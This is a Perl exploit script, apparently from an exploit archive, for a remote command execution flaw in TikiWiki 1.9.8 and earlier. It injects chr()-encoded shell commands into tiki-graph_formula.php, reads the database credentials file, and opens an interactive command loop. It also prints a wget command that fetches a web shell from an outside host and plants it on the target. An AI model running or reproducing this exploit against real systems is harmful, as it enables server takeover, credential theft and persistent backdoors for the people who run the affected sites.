#!/usr/bin/perl # TikiWiki <= 1.9.8 Remote Command Execution Exploit # # Description # ----------- # TikiWiki contains a flaw that may allow a remote attacker to execute arbitrary commands. # The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input # supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP # commands resulting in a loss of integrity. # ----------- # Vulnerability discovered by ShAnKaR <sec [at] shankar.antichat.ru> # # $Id: milw0rm_tikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $ use strict; use LWP::UserAgent; my $target = shift || &usage(); my $proxy = shift; my $command; &exploit($target, "cat db/local.php", $proxy); print "[?] php shell it?\n"; print "[*] wget http://www.youhost.com/yourshell.txt -O backups/shell.php\n"; print "[*] lynx " . $target . "/backups/shell.php\n\n"; while() { print "tiki\# "; chomp($command = <STDIN>); exit unless $command; &exploit($target, $command, $proxy); } sub usage() { print "[?] TikiWiki <= 1.9.8 Remote Command Execution Exploit\n"; print "[?] str0ke <str0ke[!]milw0rm.com>\n"; print "[?] usage: perl $0 [target]\n"; print " [target] (ex. http://127.0.0.1/tikiwiki)\n"; print " [proxy] (ex. 0.0.0.0:8080)\n"; exit; } sub exploit() { my($target, $command, $proxy) = @_; my $cmd = 'echo start_er;'.$command.';'.'echo end_er'; my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd)); my $conn = LWP::UserAgent->new() or die; $conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)"); $conn->proxy("http", "http://".$proxy."/") unless !$proxy; my $out=$conn->get($target."/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru($byte).die()&t=png&title="); if ($out->content =~ m/start_er(.*?)end_er/ms) { print $1 . "\n"; } else { print "[-] Exploit Failed\n"; exit; } }
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